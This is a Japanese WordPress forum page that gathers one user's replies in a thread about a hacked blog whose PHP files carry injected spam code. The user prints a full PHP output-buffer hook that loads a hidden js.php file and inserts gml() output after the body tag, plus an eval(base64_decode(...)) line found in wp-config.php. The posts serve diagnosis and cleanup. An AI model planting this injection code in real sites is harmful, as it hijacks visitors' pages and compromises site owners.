ahaseg
フォーラムへの返信
-
フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれる同僚に埋め込まれたソース(添付します)を読んでもらいました。
http://www.simplemachines.org/community/index.php?topic=291486.0
にもPOSTされているように、ある特定のファイルを読み込ませて、その中に定義されているgml()という関数を呼び出して、<body>直後にその戻り値を挿入しているようです。
私のケースでは、
/home/username/www/sitename/wordpress/wp-includes/js/tinymce/themes/
advanced/images/xp/js.php
にgml()が定義されているようです。
(上記フォーラムだとcopper.phpとなています)tinymce自体はWYSWYGエディタのJSのようです。
ということで、なんらかのテーマがこのgml()を呼び出し、Apacheで操作できる(=public_html以下)のファイルに再帰的に書き換えが行われたようです。
汚染されたWordPressは、Rinというテーマを友人がカスタマイズしたものを使っていました。
以下ソースです(ディレクトリ名は書き換えてあります):
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){ $GLOBALS['sh_no']=1; if(file_exists('/home/username/www/sitename/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php')){ include_once('/home/username/www/sitename/wordpress/wp-includes/js/ tinymce/themes/advanced/images/xp/js.php'); if(function_exists('gml')&&!function_exists('dgobh')){ if(!function_exists('gzdecode')){ function gzdecode($d){ $f=ord(substr($d,3,1)); $h=10; $e=0; if($f&4){ $e=unpack('v',substr($d,10,2)); $e=$e[1]; $h+=2+$e; } if($f&8){ $h=strpos($d,chr(0),$h)+1; } if($f&16){ $h=strpos($d,chr(0),$h)+1; } if($f&2){ $h+=2; } $u=gzinflate(substr($d,$h)); if($u===FALSE){ $u=$d; } return $u; } } function dgobh($b){ Header('Content-Encoding: none'); $c=gzdecode($b); if(preg_match('/\<body/si',$c)){ return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c); } else{ return gml().$c; } } ob_start('dgobh'); } } }
フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれるtenpuraさん、みなさん、
確かに解決済みではないですね。失礼しました。
さくらの管理グループには状況の説明を行っています。
該当ファイルはサーバからは削除してしまったのですが、もしご興味のある方がいましたら研究?のために公開したいと思っております。追って経過を報告いたします。
フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれるみなさま、
タイトルではお騒がせしてしまいまして申し訳ありません。
たしかに緊急度という意味では低いことでありました。また、不完全な情報に対して、有益なアドバイスを多くいただき、感謝しております。
過去の丸ごとバックアップファイルを調べてみたところ、lilyfanさんのおっしゃるとおり、以前からクラックされた状態でした。
かつ、所持している同一サーバの4つのWordPress blogのうち、3つが汚染?されておりました。加えて、wp-admin.phpだけでなく、ほぼすべての.phpファイルの冒頭にクラックコードと思われるコードが挿入されていました。
これらは、ドメイン等は別なのですが、サーバ上では同一ディレクトリ以下にあります。
/home/username/www/以下
(==public_html)この階層にあり、かつWordPressディレクトリ以下にはない、アクセス解析用のスクリプト(shortstat)も汚染されており、状況的に見て、この配下にあるすべての.phpファイルが汚染されていた、という可能性もありそうです。
この上位ディレクトリ(/home/usrname/hogehoge/)にあるphpファイルは無事でした。
基本的にほとんどのファイルは644に設定してあり、wp-config.phpも644でした。
また、wp-config.phpは手動で作成しているので、オーナーもftpアカウントとなっています。それぞれのblogでは試したテーマ、プラグインはさまざまなので、どれか一つのblogから他のblogに汚染が広がった可能性もあります(そもそも可能なのかどうかちょっとわかりませんが)。
WOrdPress自体は、2.0のころから使っており、サーバ上でももう使っていないblogもあるため、古いソースと新しいソースとが混在していましたが、バージョンを変えたバックアップファイルも汚染されていたため、なにかのスクリプト実行時にファイルを書き換えていくのか?と思っております。
とりあえず、汚染されていると思われるソースはすべてサーバから削除しているところですが、さらになにかわかりましたらまた書き込みたいと思います。
フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれるみなさま、解決しました。
たいへんお恥ずかしい話ですがwp-config.phpをいじられていたようです。
wp-config.phpの冒頭に、
eval(base64_decode(‘aWYoZ・・・・CIpO319’)); ?>
というような文字列が埋め込まれており、base64の文字列部分をデコードしてみたところ、
if(preg_match(“/\<body/si”,$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace(“/(\<body[^\>]*\>)/si”,”$1″.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start(“dgobh”);
といった記述が見られましたため、ここが原因かと思われます。
($xxxxxxといった箇所が多く、全体は読み取れていません)ソースを差し替えた際も、wp-config.phpは古いものを流用していたため、見逃してしまっておりました。
この部分がどういった経緯で混入したのか現時点で不明ですが、一旦解決かと思っております。
いろいろ助言いただきましてありがとうございました。
また、wp-config.phpという初歩的な部分でお騒がせしてしまったことをお詫びいたします。なお、トピックタイトルをハックからクラックに変更したいと思っておりますが、方法がわかりません。管理者さまにお願いすればよいのでしょうか?
最後まで質問で恐縮ですが、どなたかご教示いただければと思います。
よろしくお願いします。
フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれるlilyfanさん、
状況から言って、確かに第三者にいじられている可能性が大ですが、こういう行為は「クラッキング」と言います。「ハック」と言ってはなりません。
確かにその通りです。
不適切でした。「いちゃもん」はこれぐらいにして、基本的な問題切り分けとして、これはウェブブラウザーで見た HTML ソース *だけ* がいじられているんでしょうか (テーマファイル自体には広告コードが入ってない)。それとも、利用中のテーマファイル (index.php や header.php 等) 自体に広告コードが入ってしまっている (== テーマファイルが直接書き換えられてしまっている) んでしょうか。
テーマファイルを切り替えたり、入れ直したりしても問題が再発することから、ご指摘の前者ではないかと思っております。
サーバからwordpressフォルダごとローカルに持ってきて(ダウンロードして)、ファイルの検索を行いましたが、該当のSPAMテキストは見つかりませんでした。
おそらくどこかのサーバを見に行っているのだと思いますが、その箇所は見つけられていません。また、zipを展開したソースにwp-config.php、wp-contents/uploads/*だけ更新したものでも同じ現象が発生しています。
DBはまだなにも検証していないので、残るはDBなのですが、こちらはどこから手をつけてよいのか検討がつかない状況です。
よろしくお願いします。
フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれる追加です、MySQL上では、以下のテーブルが確認できます。
(xxは自分でwp-config.phpで設定したprefixです)xx_comments
xx_links
xx_options
xx_postmeta
xx_posts
xx_terms
xx_term_relationships
xx_term_txonomy
xx_usermeta
xx_usersフォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれるtakayukisterさん、
公開情報不足でした。申し訳ありません。
1)テーマはデフォルトと別なものとを切り替えながら使っていました。
今回の問題をblogの閲覧者から指摘されデフォルトに戻し、かつオリジナルのdefaultフォルダで差し替えたものを使っています。
別なテーマにしてもこの問題は発生します。2)サイトは、
http://www.underconcept.com/blog/
です。
具体的には、<body>
タグのあとにこのSPAMが入っています。
通常はCSSで見えなくなっているために運営者の自分では気づきませんでしたが、CSSを切ると見ることができます。3)バージョン情報は以下となります。
ホスティング: さくらのレンタルサーバ
PHP: 5.2.8
MySQL: 4.0.27
Apache: 1.3.39
WordPress: 2.7.1よろしくお願いします。
フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれるtaiさん、
なるほど、ちなみに某さくらのレンタルサーバ上で運用していますが、別にインストールしたWordPressでは発生していないのが若干謎ではあります。
いずれにせよサーバ側に問い合わせてみたいと思います。
フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれるtenpuraさん、
いくつかWordPressをインストールしていまして、また静的なHTMLコンテンツもアップしていますがそれらではこの現象は起きていません。
また、このWordPress上でも404エラーが出る画面等では出ていないようです。
Archive/以下だと違う広告が出ます。同様の事例を探っているのですがなかなか見つかりません。
英語のフォーラムのほうで聞いてみた方がよいですかね。
フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれるtaikikenさん、
とりあえずWordPress上のアカウントのパスワードとftpのパスワードは変更してあります。
DBのパスワードはいじっていないのですが、これも変えた方がよさそうですね。フォーラム: 使い方全般
返信が含まれるトピック: PHPファイルに不正なコードが埋め込まれる